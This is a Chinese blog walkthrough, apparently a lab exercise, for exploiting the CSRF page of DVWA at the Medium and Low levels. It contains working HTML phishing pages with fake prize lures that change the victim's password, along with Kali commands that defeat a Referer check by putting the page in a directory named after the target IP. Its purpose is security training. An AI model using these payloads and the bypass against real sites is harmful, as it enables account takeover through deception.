0
点赞
收藏
分享

微信扫一扫

DVWA-CSRF跨站请求伪造 Medium和Low级别

忍禁 2022-02-27 阅读 77

1代码分析

 

过滤条件

if( stripos( $SERVER[ 'HTTP_REFERER' ] ,$SERVER[ 'SERVER_NAME' ]) !== false )

判断,$SERVER[ 'SERVER_NAME' ]在 $SERVER[ 'HTTP_REFERER' ] 中是否存在,寻找第一次出现的地址

$_SERVER[ ' SERVER_NAME' ] 网站的地址 192.168.0.9

$_SERVER[ 'HTTP_REFERER' ] 请求发起着地址 192.168.0.9(靶场地址)若从黑客构造的钓鱼网站跳转的,显示的是黑客攻击机的地址

2正常构造一个CSRF

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/? 
password_new=123456&password_conf=123456&Change=Change'>点击领取百万大奖</a>
</body>
</html>

WIN10-浏览器访问

 BP抓包查看原因

 推荐人不符合判断条件,请求被丢弃(在新版浏览器更新了策略,推荐人判断)

3手工增加策略构造攻击请求页面

<html>
<head>
 <!- 设置推荐人策略,防止提交的内容被降级->
<meta name="referrer"  content="no-referrer-when-downgrade">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change'  referrer="no-referrer-when-downgrade">点击这里领取百万大奖</a>
</body>
</html>

 可看到,伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到 $_SERVER[ 'SERVER_NAME' ] ,即找不到 192.168.0.9 这个 IP 地址。

4最后在Kali上通过修改网站结构目录构造192.168.0.9结构

┌──(root💀Tea)-[/var/www/html]

└─# mkdir 192.168.0.9

┌─(root💀Tea)-[/var/www/html/192.168.0.9]

└─# pwd /var/www/html/192.168.0.9

referer中已经有了绕过过滤的192.168.0.9,将创建的csrf.html写入目录

┌──(root💀Tea)-[/var/www/html]

└─# cp csrf.html 192.168.0.9/csrf.html

 

5成功修改密码

6.Low 

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>恭喜你,获得100万大奖,点击领取....</title>
</head>
<body>
<a href='http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change'>点击这里领取百万大奖</a>
</body>
</html>

WIN10点击钓鱼链接被直接修改密码

有帮助到你,就点歌赞吧~~ 

举报

相关推荐

0 条评论